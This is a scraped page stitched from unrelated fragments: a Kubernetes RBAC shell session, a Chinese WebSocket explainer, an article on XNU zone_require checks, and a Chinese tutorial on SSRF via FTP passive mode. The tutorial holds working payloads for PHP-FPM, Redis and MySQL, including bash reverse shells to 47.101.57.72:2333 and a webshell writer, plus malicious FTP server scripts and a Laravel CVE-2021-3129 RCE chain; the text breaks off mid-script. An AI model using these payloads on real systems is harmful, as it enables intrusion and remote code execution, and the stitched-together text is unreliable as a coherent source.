namespace: role
spec:
containers:
- command:
- /bin/sh
- -c
- sleep 36000000
image: grafana/grafana:5.2.3
imagePullPolicy: IfNotPresent
name: test
resources:
requests:
cpu: 10m
dnsPolicy: ClusterFirst
priority: 0
restartPolicy: Always
schedulerName: default-scheduler
securityContext: {}
serviceAccount: default
serviceAccountName: default
terminationGracePeriodSeconds: 30
[root@pegasus01 role]# cat test_role_binding.yaml
apiVersion: rbac.authorization.k8s.io/v1
kind: RoleBinding
metadata:
name: test-role
namespace: role
roleRef:
apiGroup: rbac.authorization.k8s.io
kind: Role
name: test-role
subjects:
- apiGroup: rbac.authorization.k8s.io
kind: Group
name: test
[root@pegasus01 role]# cat test_role.yaml
apiVersion: rbac.authorization.k8s.io/v1
kind: Role
metadata:
name: test-role
namespace: role
rules:
- apiGroups:
- ""
resources:
- configmaps
verbs:
- get
- list
- delete
- apiGroups:
- ""
resources:
- pods
verbs:
- get
- list
- delete
- watch
- apiGroups:
- ""
resources:
- pods/exec
verbs:
- create
- get
[root@pegasus01 role]# cat /etc/kubernetes/pki/role-token.csv
1234567890,test-role,test-role,test
# 8.2 websocket相关
WebSocket是一种在单个TCP连接上进行全双工通信的协议。所以WebSocket 是独立的、创建在 TCP 上的协议。Websocket 通过
HTTP/1.1
协议的101状态码进行握手。为了创建Websocket连接，需要通过浏览器发出请求，之后服务器进行回应，这个过程通常称为“握手”（handshaking）。
一个典型的Websocket握手请求如下：
客户端请求
GET / HTTP/1.1
Upgrade: websocket
Connection: Upgrade
Host: example.com
Origin: http://example.com
Sec-WebSocket-Key: sN9cRrP/n9NdMgdcy2VJFQ==
Sec-WebSocket-Version: 13
服务器回应
HTTP/1.1 101 Switching Protocols
Upgrade: websocket
Connection: Upgrade
Sec-WebSocket-Accept: fFBooB7FAkLlXgRSz0BT3v4hq5s=
Sec-WebSocket-Location: ws://example.com/
字段说明
Connection必须设置Upgrade，表示客户端希望连接升级。
Upgrade字段必须设置Websocket，表示希望升级到Websocket协议。
Sec-WebSocket-Key是随机的字符串，服务器端会用这些数据来构造出一个SHA-1的信息摘要。把“Sec-WebSocket-Key”加上一个特殊字符串“258EAFA5-E914-47DA-95CA-C5AB0DC85B11”，然后计算SHA-1摘要，之后进行BASE-64编码，将结果做为“Sec-WebSocket-Accept”头的值，返回给客户端。如此操作，可以尽量避免普通HTTP请求被误认为Websocket协议。
Sec-WebSocket-Version 表示支持的Websocket版本。RFC6455要求使用的版本是13，之前草案的版本均应当弃用。
Origin字段是可选的，通常用来表示在浏览器中发起此Websocket连接所在的页面，类似于Referer。但是，与Referer不同的是，Origin只包含了协议和主机名称。
其他一些定义在HTTP协议中的字段，如Cookie等，也可以在Websocket中使用。
## 8.3 TCP连接复用与HTTP复用
TCP连接复用技术通过将前端多个客户的HTTP请求复用到后端与服务器建立的一个TCP连接上。这种技术能够大大减小服务器的性能负载，减少与服务器之间新建TCP连接所带来的延时，并最大限度的降低客户端对后端服务器的并发连接数请求，减少服务器的资源占用。
在HTTP 1.0中，客户端的每一个HTTP请求都必须通过独立的TCP连接进行处理，而在HTTP
1.1中，对这种方式进行了改进。客户端可以在一个TCP连接中发送多个HTTP请求，这种技术叫做HTTP复用（HTTP
Multiplexing）。它与TCP连接复用最根本的区别在于，TCP连接复用是将多个客户端的HTTP请求复用到一个服务器端TCP连接上，而HTTP复用则是一个客户端的多个HTTP请求通过一个TCP连接进行处理。前者是负载均衡设备的独特功能；而后者是HTTP
1.1协议所支持的新功能，目前被大多数浏览器所支持。 | 社区文章 |
**作者：wzt
原文链接：<https://mp.weixin.qq.com/s/Ua4CV3Vn8piw6z6BrpJyCQ>**
Ios13增加了判断对象是否属于zone的安全检查，这将导致以前通过伪造内核对象的漏洞利用手段变得困难了很多，比如ipc_port，伪造的对象通常来自于用户空间，那么在引用这个对象时，xnu引入了zone_require、zone_id_require、zone_owns三个函数来做对象合法性检查。
osfmk/kern/zalloc.c：
void
zone_require(zone_t zone, void *addr)
{
if (__probable(from_general_submap(addr, zone_elem_size(zone)) &&[1]
(zone_has_index(zone, zone_native_meta_from_addr(addr)->zm_index)))) { [2]
return;
}
#if CONFIG_GZALLOC
if (__probable(gzalloc_enabled())) {
return;
}
#endif
zone_require_panic(zone, addr);[3]
}
[1]处的from_general_submap判断对象的地址是否在整个大的有效范围内。
#define from_general_submap(addr, size) \
zone_range_contains(&zone_info.zi_general_range, (vm_offset_t)(addr), size)
#define zone_range_load(r, rmin, rmax) \
({ rmin = (r)->min_address; rmax = (r)->max_address; })
#endif
__header_always_inline bool
zone_range_contains(const struct zone_map_range *r, vm_offset_t addr, vm_offset_t size)
{
vm_offset_t rmin, rmax;
zone_range_load(r, rmin, rmax);
return (addr >= rmin) & (addr + size >= rmin) & (addr + size <= rmax);
}
[2]
处的zone_has_index才是判断对象是否属于某个特定的zone。通过zone_native_meta_from_addr函数将对象地址转为对应的meta数据结构，meta的zm_index指示的是meta对应的zone在zone_array数组里的索引，这样通过索引加上zone_array数组地址就能判断是否指向了正确的zone地址。
static inline bool
zone_has_index(zone_t z, zone_id_t zid)
{
return zone_array + zid == z;
}
__abortlike
static void
zone_require_panic(zone_t zone, void *addr)
{
uint32_t zindex;
zone_t other;
if (!from_zone_map(addr, zone_elem_size(zone))) {
panic("zone_require failed: address not in a zone (addr: %p)", addr);
}
zindex = zone_native_meta_from_addr(addr)->zm_index;
other = &zone_array[zindex];
if (zindex >= os_atomic_load(&num_zones, relaxed) || !other->z_self) {
panic("zone_require failed: invalid zone index %d "
"(addr: %p, expected: %s%s)", zindex,
addr, zone_heap_name(zone), zone->z_name);
} else {
panic("zone_require failed: address in unexpected zone id %d (%s%s) "
"(addr: %p, expected: %s%s)",
zindex, zone_heap_name(other), other->z_name,
addr, zone_heap_name(zone), zone->z_name);
}
}
当比对失败时，[3]处调用了zone_require_panic来试图分析是哪种情况造成的并panic系统。
zone_require是zalloc内存分配器提供的kpi接口，
当其他内核子系统需要判断某个object是否合法时要主动调用，因为如果在内存分配器的alloc或free路径里在去判断对象合法性时为时已晚，漏洞攻击已经完成了。
Ios13也是类似的逻辑：
同时还可以发现， 最新的xnu内存分配器对对象、meta、zone的合法性做了极其严格的检查，这些优秀的漏洞缓解方法需要移植到linux中去。
static struct zone_page_metadata *
zone_allocated_element_resolve(zone_t zone, vm_offset_t addr,
vm_offset_t *pagep, zone_addr_kind_t *kindp)
{
struct zone_page_metadata *meta;
zone_addr_kind_t kind;
vm_offset_t page;
vm_offset_t esize = zone_elem_size(zone);
kind = zone_addr_kind(addr, esize);
page = trunc_page(addr);
meta = zone_meta_from_addr(addr, kind);
if (kind == ZONE_ADDR_NATIVE) {
if (meta->zm_secondary_page) {
if (meta->zm_percpu) {
zone_invalid_element_addr_panic(zone, addr);
}
page -= ptoa(meta->zm_page_count);
meta -= meta->zm_page_count;
}
} else if (!zone->allows_foreign) {
zone_page_metadata_foreign_confusion_panic(zone, addr);
#if __LP64__
} else if (!from_foreign_range(addr, esize)) {
zone_invalid_foreign_addr_panic(zone, addr);
#else
} else if (!pmap_kernel_va(addr)) {
zone_invalid_element_addr_panic(zone, addr);
#endif
}
if (!zone_allocated_element_offset_is_valid(zone, addr, page, kind)) {
zone_invalid_element_addr_panic(zone, addr);
}
if (!zone_has_index(zone, meta->zm_index)) {
zone_page_metadata_index_confusion_panic(zone, addr, meta);
}
if (kindp) {
*kindp = kind;
}
if (pagep) {
*pagep = page;
}
return meta;
}
zone_metadata_corruption(zone_t zone, struct zone_page_metadata *meta,
const char *kind)
{
panic("zone metadata corruption: %s (meta %p, zone %s%s)",
kind, meta, zone_heap_name(zone), zone->z_name);
}
zone_invalid_element_addr_panic(zone_t zone, vm_offset_t addr)
{
panic("zone element pointer validation failed (addr: %p, zone %s%s)",
(void *)addr, zone_heap_name(zone), zone->z_name);
}
zone_page_metadata_index_confusion_panic(zone_t zone, vm_offset_t addr,
struct zone_page_metadata *meta)
{
panic("%p not in the expected zone %s%s (%d != %d)",
(void *)addr, zone_heap_name(zone), zone->z_name,
meta->zm_index, zone_index(zone));
}
zone_page_metadata_native_queue_corruption(zone_t zone, zone_pva_t *queue)
{
panic("foreign metadata index %d enqueued in native head %p from zone %s%s",
queue->packed_address, queue, zone_heap_name(zone),
zone->z_name);
}
zone_page_metadata_list_corruption(zone_t zone, struct zone_page_metadata *meta)
{
panic("metadata list corruption through element %p detected in zone %s%s",
meta, zone_heap_name(zone), zone->z_name);
}
zone_page_metadata_foreign_queue_corruption(zone_t zone, zone_pva_t *queue)
{
panic("native metadata index %d enqueued in foreign head %p from zone %s%s",
queue->packed_address, queue, zone_heap_name(zone), zone->z_name);
}
zone_page_metadata_foreign_confusion_panic(zone_t zone, vm_offset_t addr)
{
panic("manipulating foreign address %p in a native-only zone %s%s",
(void *)addr, zone_heap_name(zone), zone->z_name);
}
zone_invalid_foreign_addr_panic(zone_t zone, vm_offset_t addr)
{
panic("addr %p being freed to foreign zone %s%s not from foreign range",
(void *)addr, zone_heap_name(zone), zone->z_name);
}
zone_page_meta_accounting_panic(zone_t zone, struct zone_page_metadata *meta,
const char *kind)
{
panic("accounting mismatch (%s) for zone %s%s, meta %p", kind,
zone_heap_name(zone), zone->z_name, meta);
}
* * * | 社区文章 |
# 如何用 FTP 被动模式打穿内网
|
##### 译文声明
本文是翻译文章
译文仅供参考，具体内容表达以及含义原文为准。
## 基础知识
### FTP 协议
FTP（File Transfer Protocol，文件传输协议） 是 TCP/IP 协议组中的协议之一。FTP 协议包括两个组成部分，其一为 FTP
服务器，其二为 FTP 客户端。其中 FTP 服务器用来存储文件，用户可以使用 FTP 客户端通过 FTP 协议访问位于 FTP
服务器上的资源。在开发网站的时候，通常利用 FTP 协议把网页或程序传到 Web 服务器上。此外，由于 FTP
传输效率非常高，在网络上传输大的文件时，一般也采用该协议。
默认情况下 FTP 协议使用 TCP 端口中的 20 和 21 这两个端口，其中 20 用于传输数据，21 用于传输控制信息。但是，是否使用 20
作为传输数据的端口与 FTP 使用的传输模式有关，如果采用主动模式，那么数据传输端口就是
20；如果采用被动模式，则具体最终使用哪个端口要服务器端和客户端协商决定。
### FTP 协议的工作方式
FTP 支持两种模式，一种方式叫做 Standard（也就是 PORT 方式，主动方式），一种是 Passive（也就是PASV，被动方式）。
Standard 模式 FTP 的客户端发送 PORT 命令到 FTP 服务器。Passive 模式 FTP 的客户端发送 PASV 命令到 FTP
服务器。
下面介绍一下这两种方式的工作原理：
**Port**
FTP 客户端首先和 FTP 服务器的 TCP 21 端口建立连接，通过这个通道发送控制命令。控制连接建立后，如果客户端需要接收数据，则在这个控制通道上发送
PORT 命令。 PORT 命令包含了客户端用什么端口接收数据（PORT 命令的格式比较特殊）。在传送数据的时候，服务器端通过自己的 TCP 20
端口连接至客户端用 PORT 命令指定的端口发送数据。 可见，FTP 服务器必须主动和客户端建立一个新的连接用来传送数据。
**Passive**
在建立控制通道的时候和 Standard 模式类似，都是 FTP 客户端和 FTP 服务器的 TCP 21 端口建立连接，但建立连接后发送的不是 PORT
命令，而是 PASV 命令。FTP 服务器收到 PASV
命令后，随机打开一个高端端口（端口号大于1024）并且通知客户端在这个端口上传送数据的请求，客户端连接到 FTP
服务器的此高端端口，通过三次握手建立通道，然后 FTP 服务器将通过这个端口进行数据的传送。
> 简单地说，主动模式和被动模式这两种模式是按照 FTP 服务器的 “角度”
> 来说的，更通俗一点说就是：在传输数据时，如果是服务器主动连接客户端，那就是主动模式；如果是客户端主动连接服务器，那就是被动模式。
可见，在被动方式中，FTP
客户端和服务端的数据传输端口是由服务端指定的，而且还有一点是很多地方没有提到的，实际上除了端口，服务器的地址也是可以被指定的。由于 FTP 和 HTTP
类似，协议内容全是纯文本，所以我们可以很清晰的看到它是如何指定地址和端口的：
227 Entering Passive Mode(192,168,9,2,4,8)
227 和 Entering Passive Mode 类似 HTTP 的状态码和状态短语，而 `(192,168,9,2,4,8)` 代表让客户端到连接
192.168.9.2 的 4 * 256 + 8 = 1032 端口。
这样，假如我们指定 `(127,0,0,1,0,9000)` ，那么便可以将地址和端口指到 127.0.0.1:9000，也就是本地的 9000
端口。同时由于 FTP 的特性，其会把传输的数据原封不动的发给本地的 9000 端口，不会有任何的多余内容。如果我们将传输的数据换为特定的 Payload
数据，那我们便可以攻击内网特定端口上的应用了。在这整个过程中，FTP 只起到了一个重定向 Payload 的内容。
## 实例演示
### Demo
首先看到以下这段代码：
<?php
file_put_contents($_GET['file'], $_GET['data']);
在不能写文件的环境下我们如何才能实现 RCE 呢？那么这个时候我们便可以从 FTP 的被动模式入手，通过 SSRF 攻击内网应用。
### 攻击内网 PHP-FPM
假设此时发现内网中存在 PHP-FPM，那我们可以通过 FTP 的被动模式攻击内网的 PHP-FPM。
首先使用 [Gopherus](https://github.com/tarunkant/Gopherus) 生成 Payload：
python gopherus.py --exploit fastcgi
/var/www/html/index.php # 这里输入的是目标主机上一个已知存在的php文件
bash -c "bash -i >& /dev/tcp/VPS/2333 0>&1" # 这里输入的是要执行的命令
得到的 Payload 只要 `_` 后面的部分：
%01%01%00%01%00%08%00%00%00%01%00%00%00%00%00%00%01%04%00%01%01%05%05%00%0F%10SERVER_SOFTWAREgo%20/%20fcgiclient%20%0B%09REMOTE_ADDR127.0.0.1%0F%08SERVER_PROTOCOLHTTP/1.1%0E%03CONTENT_LENGTH104%0E%04REQUEST_METHODPOST%09KPHP_VALUEallow_url_include%20%3D%20On%0Adisable_functions%20%3D%20%0Aauto_prepend_file%20%3D%20php%3A//input%0F%17SCRIPT_FILENAME/var/www/html/index.php%0D%01DOCUMENT_ROOT/%00%00%00%00%00%01%04%00%01%00%00%00%00%01%05%00%01%00h%04%00%3C%3Fphp%20system%28%27bash%20-c%20%22bash%20-i%20%3E%26%20/dev/tcp/47.101.57.72/2333%200%3E%261%22%27%29%3Bdie%28%27-----Made-by-SpyD3r-----%0A%27%29%3B%3F%3E%00%00%00%00
然后在 VPS 上运行以下脚本，搭建一个恶意的 FTP 服务器：
# evil_ftp.py
import socket
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.bind(('0.0.0.0', 23))
s.listen(1)
conn, addr = s.accept()
conn.send(b'220 welcome\n')
#Service ready for new user.
#Client send anonymous username
#USER anonymous
conn.send(b'331 Please specify the password.\n')
#User name okay, need password.
#Client send anonymous password.
#PASS anonymous
conn.send(b'230 Login successful.\n')
#User logged in, proceed. Logged out if appropriate.
#TYPE I
conn.send(b'200 Switching to Binary mode.\n')
#Size /
conn.send(b'550 Could not get the file size.\n')
#EPSV (1)
conn.send(b'150 ok\n')
#PASV
conn.send(b'227 Entering Extended Passive Mode (127,0,0,1,0,9000)\n') #STOR / (2)
conn.send(b'150 Permission denied.\n')
#QUIT
conn.send(b'221 Goodbye.\n')
conn.close()
开启 nc 监听，等待反弹shell：
最后构造请求发送 Payload 就行了：
/?file=ftp://[email protected]:23/123&data=%01%01%00%01%00%08%00%00%00%01%00%00%00%00%00%00%01%04%00%01%01%05%05%00%0F%10SERVER_SOFTWAREgo%20/%20fcgiclient%20%0B%09REMOTE_ADDR127.0.0.1%0F%08SERVER_PROTOCOLHTTP/1.1%0E%03CONTENT_LENGTH104%0E%04REQUEST_METHODPOST%09KPHP_VALUEallow_url_include%20%3D%20On%0Adisable_functions%20%3D%20%0Aauto_prepend_file%20%3D%20php%3A//input%0F%17SCRIPT_FILENAME/var/www/html/index.php%0D%01DOCUMENT_ROOT/%00%00%00%00%00%01%04%00%01%00%00%00%00%01%05%00%01%00h%04%00%3C%3Fphp%20system%28%27bash%20-c%20%22bash%20-i%20%3E%26%20/dev/tcp/47.101.57.72/2333%200%3E%261%22%27%29%3Bdie%28%27-----Made-by-SpyD3r-----%0A%27%29%3B%3F%3E%00%00%00%00
如上图所示，成功反弹 Shell。
### 攻击内网 Redis
假设内网中存在 Redis 并且可以未授权访问的话，我们也可以直接攻击 Redis，实现写入 Webshell、SSH 秘钥、计划任务等。
首先编写脚本生成攻击 Redis 的 Payload：
import urllib
protocol="gopher://"
ip="127.0.0.1"
port="6379"
shell="\n\n<?php eval($_POST[\"whoami\"]);?>\n\n"
filename="shell.php"
path="/var/www/html"
passwd="" # 此处也可以填入Redis的密码, 在不存在Redis未授权的情况下适用
cmd=["flushall",
"set 1 {}".format(shell.replace(" ","${IFS}")),
"config set dir {}".format(path),
"config set dbfilename {}".format(filename),
"save"
]
if passwd:
cmd.insert(0,"AUTH {}".format(passwd))
payload=protocol+ip+":"+port+"/_"
def redis_format(arr):
CRLF="\r\n"
redis_arr = arr.split(" ")
cmd=""
cmd+="*"+str(len(redis_arr))
for x in redis_arr:
cmd+=CRLF+"$"+str(len((x.replace("${IFS}"," "))))+CRLF+x.replace("${IFS}"," ")
cmd+=CRLF
return cmd
if __name__=="__main__":
for x in cmd:
payload += urllib.quote(redis_format(x))
print payload
童谣得到的 Payload 只选取 `_` 后面的部分：
%2A1%0D%0A%248%0D%0Aflushall%0D%0A%2A3%0D%0A%243%0D%0Aset%0D%0A%241%0D%0A1%0D%0A%2435%0D%0A%0A%0A%3C%3Fphp%20eval%28%24_POST%5B%22whoami%22%5D%29%3B%3F%3E%0A%0A%0D%0A%2A4%0D%0A%246%0D%0Aconfig%0D%0A%243%0D%0Aset%0D%0A%243%0D%0Adir%0D%0A%2413%0D%0A/var/www/html%0D%0A%2A4%0D%0A%246%0D%0Aconfig%0D%0A%243%0D%0Aset%0D%0A%2410%0D%0Adbfilename%0D%0A%249%0D%0Ashell.php%0D%0A%2A1%0D%0A%244%0D%0Asave%0D%0A
然后还是在攻击机上运行 evil_ftp.py 启动一个伪 FTP 服务：
import socket
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.bind(('0.0.0.0', 23))
s.listen(1)
conn, addr = s.accept()
conn.send(b'220 welcome\n')
#Service ready for new user.
#Client send anonymous username
#USER anonymous
conn.send(b'331 Please specify the password.\n')
#User name okay, need password.
#Client send anonymous password.
#PASS anonymous
conn.send(b'230 Login successful.\n')
#User logged in, proceed. Logged out if appropriate.
#TYPE I
conn.send(b'200 Switching to Binary mode.\n')
#Size /
conn.send(b'550 Could not get the file size.\n')
#EPSV (1)
conn.send(b'150 ok\n')
#PASV
conn.send(b'227 Entering Extended Passive Mode (127,0,0,1,0,6379)\n') #STOR / (2)
conn.send(b'150 Permission denied.\n')
#QUIT
conn.send(b'221 Goodbye.\n')
conn.close()
最后直接构造请求发送 Payload：
/?file=ftp://[email protected]:23/123&data=%2A1%0D%0A%248%0D%0Aflushall%0D%0A%2A3%0D%0A%243%0D%0Aset%0D%0A%241%0D%0A1%0D%0A%2435%0D%0A%0A%0A%3C%3Fphp%20eval%28%24_POST%5B%22whoami%22%5D%29%3B%3F%3E%0A%0A%0D%0A%2A4%0D%0A%246%0D%0Aconfig%0D%0A%243%0D%0Aset%0D%0A%243%0D%0Adir%0D%0A%2413%0D%0A/var/www/html%0D%0A%2A4%0D%0A%246%0D%0Aconfig%0D%0A%243%0D%0Aset%0D%0A%2410%0D%0Adbfilename%0D%0A%249%0D%0Ashell.php%0D%0A%2A1%0D%0A%244%0D%0Asave%0D%0A
如下图所示，成功写入 Webshell：
### 攻击内网 MySQL
假设内网中存在 MySQL 并且可以未授权访问的话，我们也可以直接攻击其 MySQL，具体操作有查询 MySQL 中的数据、写入 Webshell、UDF
提权执行系统命令等。下面我们以 MySQL 5.7 的 `system` 提权执行系统命令为例进行演示。
首先使用 [Gopherus](https://github.com/tarunkant/Gopherus) 生成 Payload：
python gopherus.py --exploit mysql
root # 这里输入MySQL的用户名
system bash -c "bash -i >& /dev/tcp/47.101.57.72/2333 0>&1"; # 这里输入的是需要执行的MySQL语句或命令, 这里我们反弹shell
得到的 Payload 只选取 `_` 后面的：
%a3%00%00%01%85%a6%ff%01%00%00%00%01%21%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%72%6f%6f%74%00%00%6d%79%73%71%6c%5f%6e%61%74%69%76%65%5f%70%61%73%73%77%6f%72%64%00%66%03%5f%6f%73%05%4c%69%6e%75%78%0c%5f%63%6c%69%65%6e%74%5f%6e%61%6d%65%08%6c%69%62%6d%79%73%71%6c%04%5f%70%69%64%05%32%37%32%35%35%0f%5f%63%6c%69%65%6e%74%5f%76%65%72%73%69%6f%6e%06%35%2e%37%2e%32%32%09%5f%70%6c%61%74%66%6f%72%6d%06%78%38%36%5f%36%34%0c%70%72%6f%67%72%61%6d%5f%6e%61%6d%65%05%6d%79%73%71%6c%3d%00%00%00%03%73%79%73%74%65%6d%20%62%61%73%68%20%2d%63%20%22%62%61%73%68%20%2d%69%20%3e%26%20%2f%64%65%76%2f%74%63%70%2f%34%37%2e%31%30%31%2e%35%37%2e%37%32%2f%32%33%33%33%20%30%3e%26%31%22%3b%01%00%00%00%01
然后还是在攻击机上运行 evil_ftp.py 启动一个伪 FTP 服务：
import socket
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.bind(('0.0.0.0', 23))
s.listen(1)
conn, addr = s.accept()
conn.send(b'220 welcome\n')
#Service ready for new user.
#Client send anonymous username
#USER anonymous
conn.send(b'331 Please specify the password.\n')
#User name okay, need password.
#Client send anonymous password.
#PASS anonymous
conn.send(b'230 Login successful.\n')
#User logged in, proceed. Logged out if appropriate.
#TYPE I
conn.send(b'200 Switching to Binary mode.\n')
#Size /
conn.send(b'550 Could not get the file size.\n')
#EPSV (1)
conn.send(b'150 ok\n')
#PASV
conn.send(b'227 Entering Extended Passive Mode (127,0,0,1,0,3306)\n') #STOR / (2)
conn.send(b'150 Permission denied.\n')
#QUIT
conn.send(b'221 Goodbye.\n')
conn.close()
开启 nc 监听，等待反弹shell：
最后直接构造请求发送 Payload：
/?file=ftp://[email protected]:23/123&data=%a3%00%00%01%85%a6%ff%01%00%00%00%01%21%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%72%6f%6f%74%00%00%6d%79%73%71%6c%5f%6e%61%74%69%76%65%5f%70%61%73%73%77%6f%72%64%00%66%03%5f%6f%73%05%4c%69%6e%75%78%0c%5f%63%6c%69%65%6e%74%5f%6e%61%6d%65%08%6c%69%62%6d%79%73%71%6c%04%5f%70%69%64%05%32%37%32%35%35%0f%5f%63%6c%69%65%6e%74%5f%76%65%72%73%69%6f%6e%06%35%2e%37%2e%32%32%09%5f%70%6c%61%74%66%6f%72%6d%06%78%38%36%5f%36%34%0c%70%72%6f%67%72%61%6d%5f%6e%61%6d%65%05%6d%79%73%71%6c%3d%00%00%00%03%73%79%73%74%65%6d%20%62%61%73%68%20%2d%63%20%22%62%61%73%68%20%2d%69%20%3e%26%20%2f%64%65%76%2f%74%63%70%2f%34%37%2e%31%30%31%2e%35%37%2e%37%32%2f%32%33%33%33%20%30%3e%26%31%22%3b%01%00%00%00%01
如下图所示，成功反弹 Shell：
## 活学活用
### Laravel Debug mode && FTP SSRF to RCE
Laravel 是一套简洁、开源的 PHP Web 开发框架，旨在实现 Web 软件的 MVC 架构。
2021 年 01 月 12 日，Laravel被披露存在一个远程代码执行漏洞（CVE-2021-3129）。当 Laravel 开启了 Debug
模式时，由于 Laravel 自带的 Ignition 组件对 `file_get_contents()` 和 `file_put_contents()`
函数的不安全使用，攻击者可以通过发起恶意请求，构造恶意 Log 文件等方式触发 Phar 反序列化，最终造成远程代码执行：
* vendor/facade/ignition/src/Solutions/MakeViewVariableOptionalSolution.php
该漏洞可以简化为以下两行：
$contents = file_get_contents($parameters['viewFile']);
file_put_contents($parameters['viewFile'], $contents);
可以看到这里主要功能点是：读取一个给定的路径 `$parameters['viewFile']`，并替换读取到的内容中的 `$variableName`
为`$variableName ?? ''`，之后写回文件中 `$parameters['viewFile']`，这相当于什么都没有做！
该漏洞的预期利用方法是重写日志文件然后使用 `phar://` 协议去触发 Phar 反序列化并实现 RCE。但有时候由于某些原因，我们无法是通过该方法进行
RCE，这时候我们便可以考虑本篇文章所讲的知识点，利用 FTP SSRF 攻击内网应用，从而寻找 RCE 的办法。
由于我们可以运行 `file_get_contents` 来查找任何东西，因此，可以运用 SSRF 常用的姿势，通过发送 HTTP
请求来扫描常用端口。假设此时我们发现目标正在监听 9000 端口，则很有可能目标主机上正在运行着 PHP-FPM，我们可以进一步利用该漏洞来攻击 PHP-FPM。
众所周知，如果我们能向 PHP-FPM 服务发送一个任意的二进制数据包，就可以在机器上执行代码。这种技术经常与 `gopher://`
协议结合使用，curl支持 `gopher://` 协议，但 `file_get_contents` 和 `file_put_contents` 却不支持。
另一个已知的允许通过 TCP 发送二进制数据包的协议就是我们本文所讲的 FTP，更准确的说是该协议的被动模式，即：如果一个客户端试图从 FTP
服务器上读取一个文件（或写入），服务器会通知客户端将文件的内容读取（或写）到一个特定的 IP
和端口上。而且，这里对这些IP和端口没有进行必要的限制。例如，服务器可以告诉客户端连接到自己的某一个端口，如果它愿意的话。
现在，由于该 laravel 漏洞中 `file_get_contents` 和 `file_put_contents` 这两个函数在作祟，如果我们尝试使用
`viewFile=ftp://evil-server/file.txt` 来利用这个漏洞，会发生以下情况：
* `file_get_contents` 连接到我们的FTP服务器，并下载 file.txt。
* `file_put_contents` 连接到我们的FTP服务器，并将其上传回 file.txt。
现在，你可能已经知道这是怎么回事：我们将使用 FTP 协议的被动模式让 `file_get_contents` 在我们的服务器上下载一个文件，当它试图使用
`file_put_contents` 把它上传回去时，我们将告诉它把文件发送到 127.0.0.1:9000。
这样，我们就可以向目标主机本地的 PHP-FPM 发送一个任意的数据包，从而执行代码，造成 SSRF。
下面我们来演示一下攻击过程。
首先，我们使用gopherus生成攻击fastcgi的payload：
python gopherus.py --exploit fastcgi
/var/www/public/index.php # 这里输入的是目标主机上一个已知存在的php文件
bash -c "bash -i >& /dev/tcp/192.168.1.7/2333 0>&1" # 这里输入的是要执行的命令
得到 payload，同样是只需要 payload 中 `_` 后面的数据部分，即：
%01%01%00%01%00%08%00%00%00%01%00%00%00%00%00%00%01%04%00%01%01%07%07%00%0F%10SERVER_SOFTWAREgo%20/%20fcgiclient%20%0B%09REMOTE_ADDR127.0.0.1%0F%08SERVER_PROTOCOLHTTP/1.1%0E%03CONTENT_LENGTH103%0E%04REQUEST_METHODPOST%09KPHP_VALUEallow_url_include%20%3D%20On%0Adisable_functions%20%3D%20%0Aauto_prepend_file%20%3D%20php%3A//input%0F%19SCRIPT_FILENAME/var/www/public/index.php%0D%01DOCUMENT_ROOT/%00%00%00%00%00%00%00%01%04%00%01%00%00%00%00%01%05%00%01%00g%04%00%3C%3Fphp%20system%28%27bash%20-c%20%22bash%20-i%20%3E%26%20/dev/tcp/192.168.1.7/2333%200%3E%261%22%27%29%3Bdie%28%27-----Made-by-SpyD3r-----%0A%27%29%3B%3F%3E%00%00%00%00
在攻击机上设置好监听：
然后编写如下脚本（脚本是从网上扒的：[https://github.com/Maskhe/evil_ftp，谁叫我菜呢，大佬勿喷~~），在攻击机上搭建一个恶意的](https://github.com/Maskhe/evil_ftp%EF%BC%8C%E8%B0%81%E5%8F%AB%E6%88%91%E8%8F%9C%E5%91%A2%EF%BC%8C%E5%A4%A7%E4%BD%AC%E5%8B%BF%E5%96%B7~~%EF%BC%89%EF%BC%8C%E5%9C%A8%E6%94%BB%E5%87%BB%E6%9C%BA%E4%B8%8A%E6%90%AD%E5%BB%BA%E4%B8%80%E4%B8%AA%E6%81%B6%E6%84%8F%E7%9A%84)
ftp 服务，并将上面的 payload 中的数据替换掉下面 ftp 脚本中的 payload 的内容：
# -*- coding: utf-8 -*- # @Time : 2021/1/13 6:56 下午
# @Author : tntaxin
# @File : ftp_redirect.py
# @Software:
import socket
from urllib.parse import unquote
# 对gopherus生成的payload进行一次urldecode
payload = unquote("%01%01%00%01%00%08%00%00%00%01%00%00%00%00%00%00%01%04%00%01%01%07%07%00%0F%10SERVER_SOFTWAREgo%20/%20fcgiclient%20%0B%09REMOTE_ADDR127.0.0.1%0F%08SERVER_PROTOCOLHTTP/1.1%0E%03CONTENT_LENGTH103%0E%04REQUEST_METHODPOST%09KPHP_VALUEallow_url_include%20%3D%20On%0Adisable_functions%20%3D%20%0Aauto_prepend_file%20%3D%20php%3A//input%0F%19SCRIPT_FILENAME/var/www/public/index.php%0D%01DOCUMENT_ROOT/%00%00%00%00%00%00%00%01%04%00%01%00%00%00%00%01%05%00%01%00g%04%00%3C%3Fphp%20system%28%27bash%20-c%20%22bash%20-i%20%3E%26%20/dev/tcp/192.168.1.7/2333%200%3E%261%22%27%29%3Bdie%28%27-----Made-by-SpyD3r-----%0A%27%29%3B%3F%3E%00%00%00%00")
payload = payload.encode('utf-8')
host = '0.0.0.0'
port = 23
sk = socket.socket()
sk.bind((host, port))
sk.listen(5)
# ftp被动模式的passvie port,监听到1234
sk2 = socket.socket()
sk2.bind((host, 1234))
sk2.listen()
# 计数器，用于区分是第几次ftp连接
count = 1
while 1:
conn, address = sk.accept()
conn.send(b"200 \n")
print(conn.recv(20)) # USER aaa\r\n 客户端传来用户名
if count == 1:
conn.send(b"220 ready\n")
else:
conn.send(b"200 ready\n")
print(conn.recv(20)) # TYPE I\r\n 客户端告诉服务端以什么格式传输数据，TYPE I表示二进制， TYPE A表示文本
if count == 1:
conn.send(b"215 \n")
else:
conn.send(b"200 \n")
print(conn.recv(20)) # SIZE /123\r\n 客户端询问文件/123的大小
if count == 1:
conn.send(b"213 3 \n")
else:
conn.send(b"300 \n")
print(conn.recv(20)) # EPSV\r\n'
conn.send(b"200 \n")
print(conn.recv(20)) # PASV\r\n 客户端告诉服务端进入被动连接模式
if count == 1:
conn.send(b"227 192,168,1,7,4,210\n") # 服务端告诉客户端需要到哪个ip:port去获取数据,ip,port都是用逗号隔开，其中端口的计算规则为：4*256+210=1234
else:
